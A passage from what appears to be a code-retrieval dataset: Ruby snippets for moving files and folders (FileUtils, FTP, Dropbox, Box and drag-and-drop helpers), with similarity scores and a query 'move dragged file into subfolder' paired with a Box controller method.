"def move(d)\n\n\t\t# Validate target directory\n\t\traise \"Target directory not found, #{d}\" unless File.directory?(d)\n\t\tdname = File.expand_path(d)\n\n\t\t# Construct target pathnames\t\t\n\t\tmetanew = File.join( dname, @metafile )\n\t\tdatanew = File.join( dname, @datafile )\n\t\t\n\t\t# Move the pair to new directory\n\t\tbegin\n\t\t\tFileUtils.move( @metafull, metanew ) if has_meta?\n\t\t rescue\n\t\t\traise \"Move failed for #{@metafull} to #{metanew}: $!\"\n\t\t end\n\t\t\n\t\tbegin\n\t\t\tFileUtils.move( @datafull, datanew )\n\t\t rescue\n\t\t\traise \"Move failed for #{@datafull} to #{datanew}: $!\"\n\t\t end\n\n\t\t# Update instance variables\n\t\t@dirname = dname\n\t\t@metafull = metanew\n\t\t@datafull = datanew\n\t\t\n\tend",
"def move(from, to:)\n log \"moving from #{from} to #{to}...\"\n @ftp.rename(from, to)\n end",
"def move_opt_chef(src, dest)\n converge_by(\"moving all files under #{src} to #{dest}\") do\n FileUtils.rm_rf dest\n raise \"rm_rf of #{dest} failed\" if ::File.exist?(dest) # detect mountpoints that were not deleted\n FileUtils.mv src, dest\n end\nrescue => e\n # this handles mountpoints\n converge_by(\"caught #{e}, falling back to copying and removing from #{src} to #{dest}\") do\n begin\n FileUtils.rm_rf dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n begin\n FileUtils.mkdir dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n FileUtils.cp_r Dir.glob(\"#{src}/*\"), dest\n FileUtils.rm_rf Dir.glob(\"#{src}/*\")\n end\nend",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move_directory(directory,target)\n log_new(\"move directory -> #{File.basename(directory)}\")\n \n if File.exists? \"#{target}/#{File.basename(directory)}\"\n log(\"warning dst directory exists: \\'#{File.basename(directory)}\\'\")\n else \n # if the directory does not exist it is created\n FileUtils.mkdir_p(target,$options) if not File.directory? target\n FileUtils.mv(directory,target,$options) if ( (File.dirname directory) != target.gsub(/\\/$/,'')) \n symlink_on_move(directory,target)\n end\nend",
"def dragged\n \n $dz.determinate(true)\n\n count = $items.count\n percent = 0.0\n\n $dz.begin \"Packing #{count} Dir to #{count} txz file...\"\n\n dirs = $items.map do |dir|\n dir = File.expand_path dir\n if not File.directory? dir\n $dz.alert 'Invalid Dir', \"Invalid Dir #{dir}\"\n return\n end\n $dz.percent percent += 5.0 / count\n dir\n end\n\n dirs.compact!\n\n wd = Dir.getwd\n\n for dir in dirs\n path = File.dirname(dir)#.sub(' ', '\\ ')\n name = File.basename(dir)#.sub(' ', '\\ ')\n #$dz.alert name, path\n `cd \"#{path}\" && XZ_OPT=-9e tar --exclude='__MACOSX*' --exclude='*.DS_Store' -cJf \"#{name}.txz\" \"#{name}\"`\n $dz.percent percent += 95.0 / count\n #\"#{dir}.txz\"\n end\n\n Dir.chdir wd\n\n $dz.finish \"#{count} txz created\"\n $dz.url false\nend",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def mv!(to)\n files.map{|file| file.mv! to }\n end",
"def move_to(dest_file)\n\t\treturn false if !exist?\n\t\t\n\t\treturn false if !dest_file.path.create_structure\n\n\t\treturn false if !FileManager.move(@path,dest_file.path)\n\n\t\treturn true\n\tend",
"def move\n @page = Page.find(params[:drag_id])\n @page.update_sorting Page.find(params[:drop_id]), params[:position]\n \n render :json => { :moved => true }\n end",
"def move_to_target_directory!\n return if new_record? || !readable?\n\n src = diskfile\n self.disk_directory = target_directory\n dest = diskfile\n\n return if src == dest\n\n if !RedmicaS3::Connection.move_object(src, dest)\n Rails.logger.error \"Could not move attachment from #{src} to #{dest}\"\n return\n end\n\n update_column :disk_directory, disk_directory\n end",
"def post_move_folder(request)\n data, _status_code, _headers = post_move_folder_with_http_info(request)\n data\n end",
"def strip_file(file, to)\n @src_files = [] if @src_files.nil?\n\n @src_files.push file\n @dst_dir = to\n end",
"def move_temp_to_destination\n if !File.exist? temp_file\n $logger.info \"no moving, transcode didn't complete\"\n return\n end\n $logger.info \" moving (temp->destination)\\n #{temp_file} ->\\n #{destination_file}\"\n FileUtils.mv temp_file, destination_file\n end",
"def move(options = {})\n required_input_files :src_path\n required_output_files :dst_path\n\n src_path = input_file(:src_path)\n dst_path = output_file(:dst_path)\n\n if File.exist?(dst_path)\n raise \"dst_path '#{dst_path}' already exist\"\n end\n \n dst_dir = File.dirname(dst_path)\n FileUtils.mkdir_p(dst_dir) unless Dir.exist?(dst_dir)\n FileUtils.move(src_path, dst_path)\n\n return true\n end",
"def mv(src, dst, **_opts)\n full_src = full_path(src)\n full_dst = full_path(dst)\n\n mkdir_p File.dirname(full_dst)\n sh! %(mv -f #{Shellwords.escape(full_src)} #{Shellwords.escape(full_dst)})\n rescue CommandError => e\n e.status == 1 ? raise(BFS::FileNotFound, src) : raise\n end",
"def move_file(file, destination)\n return nil if file.blank? || destination.blank?\n\n FileUtils.mv(file, destination, force: true) if file_exists?(file)\n end",
"def pre_sync\n #move\n end",
"def disk_mv(src_file, dst_file, options)\n mover = options[:git] ? 'git mv' : 'mv'\n command = \"#{mover} '#{src_file.path}' '#{dst_file.path}'\"\n system(command) || raise(InputError, \"#{command} failed\")\n end",
"def move(from, to)\n #Check to see if the move is from a correct directory\n if !(check_valid_file from) && ! (check_valid_file to)\n return {:id => from, :moved => false}\n end\n \n name = get_name from\n res = {:id => from, :success => false}\n begin\n #move file\n mv from, to\n #Move thumb if it is an image\n ext = get_extension from\n if (@image_extensions.find{|v| v == ext} != nil ? true : false)\n thumb_from = (from.gsub /^#{@dirname}/, @thumbs) + @thumbext\n thumb_to = to.gsub /^#{@dirname}/, @thumbs\n mv thumb_from, thumb_to\n end\n #return data of the file\n filename = \"#{to}/#{name}\"\n res = file_details(filename)\n res[:success] = true\n rescue\n return res\n end\n \n res\n end",
"def move_files(dir,same_files)\n\tfirst= dir.to_s==\":first\"\n\tlast= dir.to_s==\":last\"\n\tdir.mkpath unless first or last\n\tsame_files.each do |files|\n\t\tf,*rest=files\n\t\tif first\n\t\t\tnew_file=f\n\t\t\tfiles=rest\n\t\telsif last\n\t\t\t*files,new_file=files\n\t\telse\n\t\t\tnew_file=(dir+f.basename).nonexisting_name\n\t\t\tf.mv(new_file,verbose:true) or raise \"Can't move file '#{f}': #{$!}\"\n\t\tend\n\t\tfiles.each do |file|\n\t\t\t#rel=new_file.relative_path_from(file.dirname)\n\t\t\trel=file.rel_path_to(new_file)\n\t\t\t#puts \"file: #{file}, new_file: #{new_file}, rel: #{rel}\"\n\t\t\tfile.on_ln_s(rel, rm: :file,verbose:true) or raise \"Can't symlink '#{file}': #{$!}\"\n\t\tend\n\tend\nend",
"def copy_files_to_dir(file,destination)\n FileUtils.cp(\"#{@gem_path}/lib/modules/common/#{file}\",\"#{@project_name}/#{destination}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{destination}/#{file}\"\n end",
"def folder_changed(choo_dir, choo_file)\n dir = choo_dir.filename\n choo_file.current_folder = dir\nend",
"def move_to_trash!(remove_empty_dir: true)\n curr_path, = file_path_and_role_name\n unless curr_path\n raise FsException::Action, \"Move to trash not allowed. File not accessible with current roles: #{curr_path}\"\n end\n\n dt = DateTime.now.to_i\n new_file_name = \"#{file_name}--#{dt}\"\n move_to trash_path, new_file_name\n\n return unless curr_path && is_a?(ArchivedFile) && remove_empty_dir\n\n NfsStore::Archive::Mounter.remove_empty_archive_dir(curr_path)\n end",
"def backup_file folder,file\n @manager ||= Conf::LocalFileManager.new\n newp = File.join(Conf::directories.backup,@curr_source.name.to_s,folder)\n file.zip! unless file.zip?\n @manager.move_files [file],newp\n end",
"def proc_dir_toinst(new_dir, root_new_files)\n @log.debug(\"Processing dir: #{new_dir}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dest_dir = File.join(app_dir_dst, new_dir)\n if File.directory?(old_dest_dir)\n # old dir backup\n time_form = Time.now.strftime(\"%y%m%d%H%M%S\")\n old_dest_bckdir = \"#{old_dest_dir}_#{time_form}\"\n FileUtils.mv(old_dest_dir, old_dest_bckdir)\n @log.info(\"moved directory #{old_dest_dir} to backup dir #{old_dest_bckdir}\")\n else\n @log.debug(\"#{old_dest_dir} not a directory\")\n end\n # copy source directory in to destination recursively\n src_dir = File.join(root_new_files, new_dir)\n FileUtils.cp_r(src_dir ,old_dest_dir)\n @log.debug(\"Copy dir #{src_dir} to #{old_dest_dir}\")\n end",
"def move!(new_folder)\n new_folder = new_folder.id if new_folder.kind_of?(GenericFolder)\n move_opts = {\n :to_folder_id => {:id => new_folder},\n :item_ids => [{:item_id => {:id => self.id}}]\n }\n resp = @ews.move_item(move_opts)\n rmsg = resp.response_messages[0]\n\n if rmsg.success?\n obj = rmsg.items.first\n itype = obj.keys.first\n obj[itype][:elems][0][:item_id][:attribs][:id]\n else\n raise EwsError, \"Could not move item. #{resp.code}: #{resp.message}\"\n end\n end"
] | [
"0.72120774",
"0.68330824",
"0.66458154",
"0.65818113",
"0.6581688",
"0.6527696",
"0.6506541",
"0.6477721",
"0.6449543",
"0.64494294",
"0.6447122",
"0.64245045",
"0.6417408",
"0.64039224",
"0.6388736",
"0.6387514",
"0.6376931",
"0.63647556",
"0.63243777",
"0.6302794",
"0.6276679",
"0.62188894",
"0.6207642",
"0.6173655",
"0.6157679",
"0.61575234",
"0.61513346",
"0.6134586",
"0.61300147",
"0.6113914",
"0.60402143",
"0.6011248",
"0.60099024",
"0.59743154",
"0.5940755",
"0.59133077",
"0.5912058",
"0.58738655",
"0.58549565",
"0.58387345",
"0.58183354",
"0.58183354",
"0.5817434",
"0.5813904",
"0.58135206",
"0.58104175",
"0.578979",
"0.5787482",
"0.57824683",
"0.5776988",
"0.5751103",
"0.57483244",
"0.57476413",
"0.57457274",
"0.57370174",
"0.5711823",
"0.5708012",
"0.57074004",
"0.5695641",
"0.56920236",
"0.5675476",
"0.56737214",
"0.56728995",
"0.56710845",
"0.566692",
"0.5659005",
"0.565479",
"0.5642135",
"0.5618884",
"0.56083035",
"0.5604979",
"0.5604314",
"0.56029344",
"0.5602249",
"0.55835104",
"0.5570935",
"0.5570935",
"0.5559341",
"0.55319476",
"0.5529007",
"0.55174166",
"0.550944",
"0.55084944",
"0.55001086",
"0.5499983",
"0.5492597",
"0.548096",
"0.5472062",
"0.5461584",
"0.54612744",
"0.5461135",
"0.54526967",
"0.54525757",
"0.5445413",
"0.54443204",
"0.54395866",
"0.54319984",
"0.54247993",
"0.54184353",
"0.5415003"
] | 0.6712039 | 2 |
move dragged file into subfolder | def move_folder
destFolder = params[:dest]
targetFolder = params[:folder_id]
client = user_client
mixpanel_tab_event("My Vault", "Move Folder - Drag & Drop")
# get folder
folder = Rails.cache.fetch("/folder/#{session[:box_id]}/my_folder/#{params[:dest]}", :expires_in => 10.minutes) do
client.folder_from_id(params[:dest])
end
begin
# get shared folder, then move file into shared folder
client.move_folder(targetFolder, destFolder)
flash[:notice] = "Folder moved into \"#{folder.name}\""
rescue
flash[:error] = "Error: Folder could not be moved"
end
redirect_to dashboard_id_path(session[:current_folder])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_file\n\n end",
"def move(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:move, access_token)\n res = connexion.post do |req|\n req.url \"fileops/move\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end",
"def move_file\n\n destFolder = params[:dest]\n targetFile = params[:file_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move File - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_file(targetFile, destFolder)\n flash[:notice] = \"File moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: File could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def test_move_file_in_subdirectory\n `touch ../harness/test/new/foo`\n nd = TestDirectory.new \"../harness/test/new\"\n assert(nd.files.find \"foo\")\n @td.move(:foo, :new, :unclassified)\n assert(File.exist?(\"../harness/test/unclassified/foo\"))\n assert(!File.exist?(\"../harness/test/new/foo\"))\n end",
"def file_move(from_path, to_path)\n params = {\n \"root\" => @root,\n \"from_path\" => format_path(from_path, false),\n \"to_path\" => format_path(to_path, false),\n }\n response = @session.do_post build_url(\"/fileops/move\", params)\n parse_response(response)\n end",
"def move(file, new_basename = nil, pathtype: :tree)\n filename = new_basename || File.basename(file)\n path = store_path(filename)\n FileUtils.mv File.expand_path(file), path\n file_path path, pathtype\n end",
"def move_dirs\n \n end",
"def dragged\n $dz.determinate(true)\n \n move = true\n \n if ENV['OPERATION'] == \"NSDragOperationCopy\"\n operation = \"Copying\"\n move = false\n else\n operation = \"Moving\"\n end\n \n $dz.begin(\"#{operation} files...\")\n\n Rsync.do_copy($items, ENV['EXTRA_PATH'], move)\n \n finish_op = (move ? \"Move\" : \"Copy\")\n $dz.finish(\"#{finish_op} Complete\")\n $dz.url(false)\nend",
"def move!(entry, dest_path)\n src_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n dest_path = Wide::PathUtils.relative_to_base(base_path, dest_path)\n\n cmd = cmd_prefix.push('mv', src_path, dest_path)\n shellout(Escape.shell_command(cmd))\n\n begin\n if($? && $?.exitstatus != 0)\n entry.move!(dest_path);\n end\n rescue\n raise CommandFailed.new(\"Failed to move file #{src_path} to #{dest_path} in the Mercurial repository in #{base_path}\")\n end\n end",
"def move\n display_change\n File.move(@real_path, new_path, false)\n end",
"def google_move_file(client)\n notify \"Command : Google move file\"\n # result : error message\n # google treat folders as files\n src_files = move_copy_file_source\n dest_path = CGI::unescape(@fields[:dst_path].to_s)\n result = client.move_files(src_files,dest_path)\n\n end",
"def post_move(filename,src_repo,data)\n curl_post(\"#{self.host}/api2/repos/#{src_repo}/file/?p=#{filename}\",data).body_str\n end",
"def move\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not move the root folder\") if file.id == session[:user].root_folder.id\n source = WFolder.get(params[:source])\n raise RequestError.new(:file_not_found, \"Source not found\") unless source\n raise RequestError.new(:bad_param, \"Source is not a folder\") unless source.folder\n raise RequestError.new(:bad_access, \"No access to the source folder\") unless source.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Source does not contain the file\") if source.files.include? file == false && !file.folder\n raise RequestError.new(:bad_param, \"Source does not contain the folder\") if source.childrens.include? file && file.folder\n destination = WFolder.get(params[:destination])\n raise RequestError.new(:file_not_found, \"Destination not found\") unless destination\n raise RequestError.new(:bad_param, \"Destination is not a folder\") unless destination.folder\n raise RequestError.new(:bad_access, \"No access to the destination folder\") unless destination.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Destination and Source are identical\") if source.id == destination.id\n raise RequestError.new(:bad_param, \"Destination and File are identical\") if file.id == destination.id\n raise RequestError.new(:bad_param, \"File and Source are identical\") if source.id == file.id\n\n WFile.move(file, source, destination) unless file.folder\n WFolder.move(file, source, destination) if file.folder\n\n @result = { success: true }\n end",
"def move_folder_ind\n create_process(process: \"MOVE_FOLDER\")\n end",
"def mv srcpath, dstpath\n end",
"def test_move_folder\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/TestMoveFolderSrc/TestMoveFolderSrc.docx'\n\n request = MoveFolderRequest.new(dest_path: remote_test_out + '/TestMoveFolderDest_' + generate_uuid, src_path: remote_data_folder + '/TestMoveFolderSrc')\n\n @words_api.move_folder(request)\n end",
"def move_folder(folder,orig,dest)\n \n puts \"Moving #{orig}/#{key[:dir]} -> #{dest}/#{key[:dir]}\" if @verbose\n FileUtils.mv \"#{orig}/#{key[:dir]}\", \"#{dest}/#{key[:dir]}\"\n\n end",
"def move_folders(orig,dest)\n \n puts \"Moving #{orig} -> #{dest}\" if @verbose\n FileUtils.mv orig,dest\n end",
"def move(id, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # This provides support for an Array of ids.\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/move?file_ids=%s&parent_id=%i' % [id, folder]).status == \"OK\"\n end",
"def move_origional_file\n if File.exist? @origional_file\n $logger.info \" moving previous (orig->processed)\\n #{@origional_file} ->\\n #{processed_file}\"\n FileUtils.mkdir_p(File.dirname(processed_file))\n FileUtils.mv @origional_file, processed_file\n end\n end",
"def move_to_folder\n return @move_to_folder\n end",
"def move(command)\n src = clean_up(command[1])\n dest = clean_up(command[2])\n pp @client.files.move(src, dest)\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def mv(srcpath,dstpath)\n FileUtils.mv(srcpath,dstpath)\n end",
"def move(from_path, to_path, opts = {})\n input_json = {\n from_path: from_path,\n to_path: to_path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/move\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def project_mv(src_file, dst_file, options)\n if src_file.path.directory?\n # Process all children first\n children = src_file.path.children.map { |c| c.directory? ? Group.new(c) : File.new(c) }\n children.each do |src_child|\n dst_child = src_child.with_dirname(dst_file.path)\n project_mv(src_child, dst_child, options)\n end\n else\n # Remove old destination file reference if it exists\n dst_file.remove_from_project if dst_file.pbx_file\n\n # Add new destination file reference to the new xcodeproj\n dst_file.create_file_reference\n dst_file.add_to_targets(options[:targets], options[:headers])\n end\n\n # Remove original directory/file from xcodeproj\n if src_file.pbx_file\n src_file.remove_from_project\n else\n warn(\"⚠️ Warning: #{src_file.path.basename} not found in #{src_file.project.path.basename}, moving anyway...\")\n end\n end",
"def move_folder\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir = Item.new(Path.new(params[:dest_dir]))\n\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move_files\n source_dir = Item.new(Path.new(params[:source]))\n dest_dir = Item.new(Path.new(params[:dest]))\n type = params[:type]\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_files_to(dest_dir, type)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def shift_from(other)\n raise ArgumentError.new(other) unless other.kind_of?(self.class)\n unless File.ftype(other.path) == \"file\"\n raise ArgumentError.new(other)\n end\n dir = @path.dirname\n dir.mkpath unless dir.exist?\n FileUtils.mv(other.path, @path)\n end",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def mv(name, from = DirConfig::OPEN, to = DirConfig::DEPLOY)\n agency = options[:agency]\n ::Taxi::SFTP.new(agency).move_glob(name, from, to)\n end",
"def move (source_path, dest_path)\n \"mv '#{source_path}' '#{dest_path}'\"\n end",
"def move(src, dst)\n dddebug('move', [src, dst])\n\n glob(src, false).each do |f|\n begin\n # glob returns relative paths inside the prefix.\n # We have to prefix bouth source and dst.\n pre_f = prefixed(f)\n pre_dst = prefixed(dst)\n\n OneCfg::LOG.dddebug(\"Move #{pre_f} \" \\\n \"into #{pre_dst}\")\n\n FileUtils.mv(pre_f, pre_dst)\n rescue StandardError => e\n # skip files which are the same as destination\n # TODO: WTF is error 22 !!!\n next if e.errno == 22\n\n raise e\n end\n end\n end",
"def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend",
"def test_move_file\n remote_file_name = 'TestMoveFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = MoveFileRequest.new(dest_path: remote_test_out + '/TestMoveFileDest_' + generate_uuid + '.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.move_file(request)\n end",
"def move(src, dst)\n # Move should copy first then delete after copying is successfull!\n #FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n FileUtils.rm_rf(src) if FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n rescue Exception => e\n log 3, e\n end",
"def move_to_folder=(value)\n @move_to_folder = value\n end",
"def move_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n\n response = {}\n if source_file.path.to_s == dest_file.path.to_s\n response[:msg] = \"Same file\"\n render json: response, status: 200\n return\n end\n\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.move_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move_task(initial, target)\n initial_x = initial.wd.location['x']\n initial_y = initial.wd.location['y']\n\n target_x = target.wd.location['x']\n target_y = target.wd.location['y']\n\n total_x = target_x - initial_x + 5\n total_y = target_y - initial_y + 5\n\n initial.when_present.drag_and_drop_by(total_x, total_y)\n sleep 1 #Allow for motion to happen\n end",
"def mv(from_location, to_location)\n @client.file_move(from_location, to_location)\n rescue\n puts $! if @@verbose\n nil\n end",
"def smove(source, destination, member); end",
"def smove(source, destination, member); end",
"def move_package\n begin\n package_file = File.join(@tmpdir, 'pkg', \"#{@plugin.vendor}-#{@package_name}-#{@plugin.metadata[:version]}.tar.gz\")\n FileUtils.cp(package_file, '.')\n rescue => e\n puts 'Could not copy package to working directory'\n raise e\n end\n end",
"def move_package(name, new_dir)\n Autoproj.workspace.manifest.move_package(name, new_dir)\nend",
"def move_sub_files(src_path, dest_path)\n puts \"=== Move subtitle files\"\n puts \" from: #{src_path}\"\n puts \" to: #{dest_path}\"\n\n files = Dir[File.join(src_path, \"**/*\")]\n files.each do |file|\n next unless SUB_TYPES.include?(File.extname(file))\n move_file_to_path(file, dest_path)\n end\n end",
"def move_file (new_directory_path,file)\n FileUtils.mkdir_p new_directory_path if not File.exist? new_directory_path\n if File.exist? file and File.file? file\n if File.exist? new_directory_path + file\n puts \"# - File #{file} already exists. Skipping...\"\n FileUtils.rm file\n else\n puts \"# - Moving the file: #{file} to #{new_directory_path}...\" \n FileUtils.mv file, new_directory_path\n end\n else\n raise \"Error while moving file to #{LOG_OLD_DIR}\"\n end\nend",
"def move(from_path, to_path, ctype=nil, recursive=false, replace=false)\n copy(from_path, to_path, ctype, recursive, replace)\n remove(from_path, ctype, recursive)\n end",
"def move_dirs\n :both\n end",
"def move_to dir=\"\"\n #TODO chmod!!!, работа с флагами\n return false if dir.empty?\n \n filename_target = File.join(dir, @name_target+@extention)\n\n begin\n FileUtils.mv(@filename, filename_target) \n rescue StandardError => e\n add_error e.full_message(@name+@extention) \n return false \n else\n @filename = filename_target\n @name = @name_target\n return true\n end\n end",
"def move_to(target)\n target.parent.mkdirs\n factory.system.move_dir(@path, target.path)\n end",
"def drag_and_drop(source, sourceinfo, target, targetinfo, action)\n $marathon.dragAndDrop(ComponentId.new(source, sourceinfo), ComponentId.new(target, targetinfo), action)\nend",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, :'move-destination' => move_destination)\n end",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, 'move-destination': move_destination)\n end",
"def test_post_move_file\n\n src = 'folder1/FileTest.pdf'\n dest = 'folder3/folder1/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n destStorage = 'First Storage'\n request = PostMoveFileRequest.new(src, dest, versionId, storage, destStorage)\n\n result = @storage_api.post_move_file(request)\n assert result.code == 200, 'Error while moving document'\n\n end",
"def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end",
"def drag_and_drop(source, sourceinfo, target, targetinfo, action)\n $marathon.dragAndDrop(ComponentId.new(source, sourceinfo), ComponentId.new(target, targetinfo), action)\nend",
"def set_move_target cf=current_file\n ff = expand_path(cf)\n return unless File.directory? ff\n\n @move_target = ff\n message \"Move target set to #{cf}.\"\nend",
"def move_files_to(from_folder)\n\n Dir.glob(\"#{from_folder}/*\") do |filename|\n to_path = \"#{timestamped(filename)}\"\n delete_file_if_there(to_path)\n move_file(filename, to_path)\n end\n end",
"def move_to!(dest)\n Pow(dest).parent.create_directory\n move_to(dest)\n end",
"def move_files(from_path, to_path)\n # move into the new dir - and mv files to the in_process_dir\n pwd = FileUtils.pwd\n begin\n FileUtils.mkdir_p(to_path) if not Dir.exists? to_path\n Dir.chdir(from_path)\n FileUtils.mv Dir.glob(\"*\"), to_path, :force => true\n Dir.chdir(to_path)\n begin\n #remove from_path as files are now \"in process\"\n FileUtils.rm_r(from_path)\n rescue\n logger.warn \"failed to rm #{from_path}\"\n end\n ensure\n if FileUtils.pwd() != pwd\n if Dir.exists? pwd\n FileUtils.chdir(pwd)\n else\n FileUtils.chdir( student_work_dir() )\n end\n end\n end\n end",
"def test_post_move_folder()\n\n src = 'folder6'\n dest = 'folder7/folder6'\n storage = 'First Storage'\n dest_storage = 'First Storage'\n request = PostMoveFolderRequest.new(src, dest, storage, dest_storage)\n\n result = @storage_api.post_move_folder(request)\n assert result.code == 200, 'Error while moving folder'\n\n end",
"def move_to_directory(dir)\n p = File.join(dir, self.filename)\n if copy_file(p)\n @path = p\n end\n end",
"def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"def move(from, to)\n @ctx.mv(@path + from, @path + to)\n end",
"def pluck_item(item_dpath_src)\n path_below_root = item_dpath_src.sub(Regexp.new(\"^#{@era_root_dir_path}/\"), '')\n item_dpath_dest = \"#{@era_root_dir_path_dest}/#{path_below_root}\"\n item_parent_dpath_dest = File.dirname(item_dpath_dest)\n\n Dir.mkdir(@era_root_dir_path_dest) unless File.exists?(@era_root_dir_path_dest)\n Dir.mkdir(item_parent_dpath_dest) unless File.exists?(item_parent_dpath_dest)\n puts \"Moving #{item_dpath_src}\\n to #{item_dpath_dest}\"\n File.rename(item_dpath_src, item_dpath_dest)\t# Move from src to dest tree\n @plucked_items << item_dpath_src\n @plucked_items_dest << item_dpath_dest\n end",
"def move_folder(from_source:, from_dir:, to_source:, to_dir:)\n response = HTTParty.get(\"#{@host}/move_folder\", query: {\n source_dir: \"#{from_source}:#{from_dir}\",\n dest_dir: \"#{to_source}:#{to_dir}\",\n api_key: @api_key\n })\n \n return response.success?\n end",
"def move_to(path)\n raise CommandError, 'Destination exists' if File.exist?(expand path)\n FileUtils.mkdir_p(File.dirname(expand path))\n FileUtils.mv(@working_dir, expand(path))\n end",
"def mv(src, dst)\n FileUtils.mv(src, dst, :verbose => verbose?)\n end",
"def move\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n if params[:tree_node_id].blank?\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n parent_id = params[:tree_node_id]\n SqlHelper.validate_token([parent_id])\n\n if parent_id == TreeElement::ROOT_ID.to_s\n flash[:notice] = 'ERROR:' + t('mail_folder.root_cannot_have_folders')\n else\n # Check if specified parent is not one of subfolders.\n childs = MailFolder.get_childs(@mail_folder.id, true, false)\n if childs.include?(parent_id) or (@mail_folder.id == parent_id.to_i)\n flash[:notice] = 'ERROR:' + t('folder.cannot_be_parent')\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n @mail_folder.parent_id = parent_id\n @mail_folder.xorder = nil\n @mail_folder.save\n\n flash[:notice] = t('msg.move_success')\n end\n\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n end",
"def notify_file_mv(src, dst)\r\n notify_file_cp(src, dst)\r\n notify_file_rm(src)\r\n end",
"def mv orig, dest, rm = true\n rm_rf dest unless !rm\n execute(\"mv #{orig} #{dest}\")\n end",
